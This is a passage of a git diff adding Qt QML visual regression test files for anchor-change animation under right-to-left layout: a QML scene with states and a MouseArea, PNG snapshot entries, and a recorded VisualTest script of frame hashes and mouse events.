+ anchors.top: container.top
+ anchors.bottom: bottomGuideline.bottom
+ }
+ }, State {
+ name: "reanchored2"
+ AnchorChanges {
+ target: myRect;
+ anchors.left: undefined
+ anchors.right: undefined
+ anchors.top: topGuideline2.top
+ anchors.bottom: bottomGuideline2.bottom
+ }
+ }]
+
+ transitions: Transition {
+ AnchorAnimation { }
+ }
+
+ MouseArea {
+ width: 50; height: 50
+ anchors.right: parent.right
+ anchors.bottom: parent.bottom
+ onClicked: {
+ container.state = "";
+ }
+ }
+
+ state: "reanchored"
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.0.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.0.png
new file mode 100644
index 00000000..160155e6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.1.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.1.png
new file mode 100644
index 00000000..160155e6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.10.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.10.png
new file mode 100644
index 00000000..1ccab413
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.11.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.11.png
new file mode 100644
index 00000000..160155e6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.12.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.12.png
new file mode 100644
index 00000000..f25bd7c8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.12.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.2.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.2.png
new file mode 100644
index 00000000..f25bd7c8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.3.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.3.png
new file mode 100644
index 00000000..dad1de44
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.4.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.4.png
new file mode 100644
index 00000000..cd4f23a8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.5.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.5.png
new file mode 100644
index 00000000..160155e6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.6.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.6.png
new file mode 100644
index 00000000..160155e6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.7.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.7.png
new file mode 100644
index 00000000..f25bd7c8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.8.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.8.png
new file mode 100644
index 00000000..160155e6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.9.png b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.9.png
new file mode 100644
index 00000000..160155e6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.qml b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.qml
new file mode 100644
index 00000000..e858c11f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchorRTL/data/reanchor.qml
@@ -0,0 +1,1499 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "reanchor.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 48
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 64
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 80
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 96
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 112
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 128
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 144
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 160
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 176
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 192
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 208
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 224
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 240
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 256
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 272
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 288
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 304
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 320
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 336
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 352
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 368
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 384
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 400
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 416
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 432
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 448
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 464
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 480
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 496
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 512
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 528
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 544
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 560
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 576
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 592
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 608
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 624
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 640
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 656
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 672
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 688
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 704
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 720
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 736
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 752
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 768
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 784
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 800
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 816
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 832
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 848
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 864
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 880
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 896
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 912
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 928
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 944
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 960
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 976
+ image: "reanchor.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1008
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1024
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1040
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1056
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 164; y: 196
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1088
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1104
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1120
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1136
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 164; y: 196
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 1168
+ hash: "f7814217626627ce70ca0e9487354ba9"
+ }
+ Frame {
+ msec: 1184
+ hash: "7825b2b77e441ca6f46dbca80c7fe602"
+ }
+ Frame {
+ msec: 1200
+ hash: "0ac443a9946b0bcf8db768af7d16d51e"
+ }
+ Frame {
+ msec: 1216
+ hash: "c943d5d46f0d527690f38a9c8bd7be51"
+ }
+ Frame {
+ msec: 1232
+ hash: "38151db0c9964d33bcb2ff155ebd468c"
+ }
+ Frame {
+ msec: 1248
+ hash: "0fb8c53587a95a12cced6d30018edec1"
+ }
+ Frame {
+ msec: 1264
+ hash: "2c684a649652270a638aca41a80e327c"
+ }
+ Frame {
+ msec: 1280
+ hash: "60dd5c448ef8b97ec13ad3140a584229"
+ }
+ Frame {
+ msec: 1296
+ hash: "d564f28f9d528daca729db6fab163b6c"
+ }
+ Frame {
+ msec: 1312
+ hash: "4c07b33632ec4f30ee31141099c15a88"
+ }
+ Frame {
+ msec: 1328
+ hash: "9facfd27fa16ee9d493e7fb7bcfadbf8"
+ }
+ Frame {
+ msec: 1344
+ hash: "fc0fbb8aac8f389841e615be1e7b06de"
+ }
+ Frame {
+ msec: 1360
+ hash: "579c18fa201b5609276c761ffd42df33"
+ }
+ Frame {
+ msec: 1376
+ hash: "5b3630c37acfc2599a5a8b2e11aaa34c"
+ }
+ Frame {
+ msec: 1392
+ hash: "2c1ee8aca06dccf0d39287721bf76aa7"
+ }
+ Frame {
+ msec: 1408
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1424
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1440
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1456
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1472
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1488
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1504
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1520
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1536
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1552
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1568
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1584
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1600
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1616
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1632
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1648
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1664
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1680
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1696
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1712
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1728
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1744
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1760
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1776
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1792
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1808
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1824
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1840
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1856
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1872
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1888
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1904
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1920
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1936
+ image: "reanchor.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1968
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 1984
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 2000
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 2016
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 170; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2032
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 2048
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 2064
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 2080
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 2096
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 170; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2112
+ hash: "c03bb338fff252a100b080366ac907b5"
+ }
+ Frame {
+ msec: 2128
+ hash: "e9d7372c17ca1510eb15faff5d0794b2"
+ }
+ Frame {
+ msec: 2144
+ hash: "60f897e2b9594c4b5c02ce2fbdf9ae3c"
+ }
+ Frame {
+ msec: 2160
+ hash: "c35ead9a8e682e8f3c0a091d232310f7"
+ }
+ Frame {
+ msec: 2176
+ hash: "272632b0568391022590edc09ea30e28"
+ }
+ Frame {
+ msec: 2192
+ hash: "9d4cdb31b01e86a31627e3ff9bb64100"
+ }
+ Frame {
+ msec: 2208
+ hash: "5ee65b0290721fe47508c6435c18554b"
+ }
+ Frame {
+ msec: 2224
+ hash: "8dd65e1a9417318d793d2027de4fe6ae"
+ }
+ Frame {
+ msec: 2240
+ hash: "bcce6d1fd7d2c1539ad9ac42c0552d5e"
+ }
+ Frame {
+ msec: 2256
+ hash: "e01f5850113c178da3383406fe73d6e0"
+ }
+ Frame {
+ msec: 2272
+ hash: "968fc6b2bf6b7d43e05254339cf6123f"
+ }
+ Frame {
+ msec: 2288
+ hash: "30f25fdde31e13934e328fa1d2655ccb"
+ }
+ Frame {
+ msec: 2304
+ hash: "f58a21e96037813c9dd7f933405c9b11"
+ }
+ Frame {
+ msec: 2320
+ hash: "1fe42c887f2eaf7696fcf0b8b884d0fd"
+ }
+ Frame {
+ msec: 2336
+ hash: "848a27b9e4f4c0bcc1a11d6dba7ce92b"
+ }
+ Frame {
+ msec: 2352
+ hash: "ca92736257db83e39f54b04325201942"
+ }
+ Frame {
+ msec: 2368
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 2384
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 134; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2400
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 2416
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 2432
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 2448
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 2464
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 134; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "0009d8bfdfaed2a4f05aacb7a7992234"
+ }
+ Frame {
+ msec: 2496
+ hash: "9082504eee5e0c3cbef9fd9545f09dcb"
+ }
+ Frame {
+ msec: 2512
+ hash: "dbe5169edb4400c74841a8af64e0949f"
+ }
+ Frame {
+ msec: 2528
+ hash: "d588405fc5e2423cdb954c5624172209"
+ }
+ Frame {
+ msec: 2544
+ hash: "ed2b273ea36fb7d8feaca4d5dae72f81"
+ }
+ Frame {
+ msec: 2560
+ hash: "5249e4824eb169b5ee3f7fb52fe09aa7"
+ }
+ Frame {
+ msec: 2576
+ hash: "2838eff2a1a299c9e47cf78be99172ca"
+ }
+ Frame {
+ msec: 2592
+ hash: "c47f6a937a4a6ef045159d7ba04de8af"
+ }
+ Frame {
+ msec: 2608
+ hash: "fd3bc1b9ba2629bccb0fec04deffcdad"
+ }
+ Frame {
+ msec: 2624
+ hash: "54c9b8599a32ac95aff324977b34f7e6"
+ }
+ Frame {
+ msec: 2640
+ hash: "cc5652a05828146cdc9c9b8430f5f59c"
+ }
+ Frame {
+ msec: 2656
+ hash: "ce5815fb51a4bd697a2fde46084e118b"
+ }
+ Frame {
+ msec: 2672
+ hash: "01dfd2604263f1fd24382ce876af10f9"
+ }
+ Frame {
+ msec: 2688
+ hash: "45ea282d20ee9e345eb2cac8c22c42e0"
+ }
+ Frame {
+ msec: 2704
+ hash: "afd26ac9776e57c94e4b52ebfeb7206c"
+ }
+ Frame {
+ msec: 2720
+ hash: "97aeed321d4d92cb1ec236d2a98fbe9b"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 134; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2736
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 2752
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 2768
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 2784
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 2800
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 134; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2816
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 2832
+ hash: "81b8228c6aeefe8072b7704f11e6707e"
+ }
+ Frame {
+ msec: 2848
+ hash: "617e416bf117a51b756c90321ebb1449"
+ }
+ Frame {
+ msec: 2864
+ hash: "656d8d5d54c9ee137aceb519aff72cce"
+ }
+ Frame {
+ msec: 2880
+ hash: "94ba3b6f558c010cdd32f54cce436388"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 134; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2896
+ image: "reanchor.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "0bc822fdd4caac17aab80e8601d3a523"
+ }
+ Frame {
+ msec: 2928
+ hash: "886d0407ac76d7344f7a314f07b3efff"
+ }
+ Frame {
+ msec: 2944
+ hash: "eb6c46af5037f24348edbe0dda48fb62"
+ }
+ Frame {
+ msec: 2960
+ hash: "1c578a1eeb67c6833241bcb3214f06fb"
+ }
+ Frame {
+ msec: 2976
+ hash: "55f1631ef567217a5945b2a23c59b549"
+ }
+ Frame {
+ msec: 2992
+ hash: "25fdd4d54ddb035b082dc3a0d0816114"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 134; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3008
+ hash: "25fdd4d54ddb035b082dc3a0d0816114"
+ }
+ Frame {
+ msec: 3024
+ hash: "efd61e7c1aaffec77bd3d2de6645b2c0"
+ }
+ Frame {
+ msec: 3040
+ hash: "02ac5ca0fa7d2ec3903fccd5dc556fa5"
+ }
+ Frame {
+ msec: 3056
+ hash: "daf52e45b8fc68f74e424554074678cc"
+ }
+ Frame {
+ msec: 3072
+ hash: "9e2def87e83b0c4b9f26684665aa1e51"
+ }
+ Frame {
+ msec: 3088
+ hash: "0e72fc762cc9a061e91692376d65d292"
+ }
+ Frame {
+ msec: 3104
+ hash: "c5ac37e4a5250b35a4976bcb31505cca"
+ }
+ Frame {
+ msec: 3120
+ hash: "eefe6bb7963c580c68198ee6098a36f4"
+ }
+ Frame {
+ msec: 3136
+ hash: "7b78d77ac11b72d1fb827ebb66a04c8e"
+ }
+ Frame {
+ msec: 3152
+ hash: "ce5815fb51a4bd697a2fde46084e118b"
+ }
+ Frame {
+ msec: 3168
+ hash: "94ba3b6f558c010cdd32f54cce436388"
+ }
+ Frame {
+ msec: 3184
+ hash: "61a56140e5a6a2bfcee5c6322b37e130"
+ }
+ Frame {
+ msec: 3200
+ hash: "a67b22c0a966fe3fbe869497dc00960f"
+ }
+ Frame {
+ msec: 3216
+ hash: "4edd212676ac93ae761039e80f989349"
+ }
+ Frame {
+ msec: 3232
+ hash: "fea5797441d65625c400238f73d94807"
+ }
+ Frame {
+ msec: 3248
+ hash: "23e9209ff0257343016cffdf7ea6571c"
+ }
+ Frame {
+ msec: 3264
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3280
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3296
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3312
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3328
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3344
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3360
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3376
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3392
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3408
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3424
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3440
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3456
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3472
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3488
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3504
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3520
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3536
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3552
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3568
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3584
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3600
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3616
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3632
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3648
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3664
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3680
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3696
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3712
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3728
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3744
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3760
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3776
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3792
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3808
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3824
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3840
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
+ msec: 3856
+ image: "reanchor.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "3a1fc9be558078e35a9828e411847c19"
+ }
+ Frame {
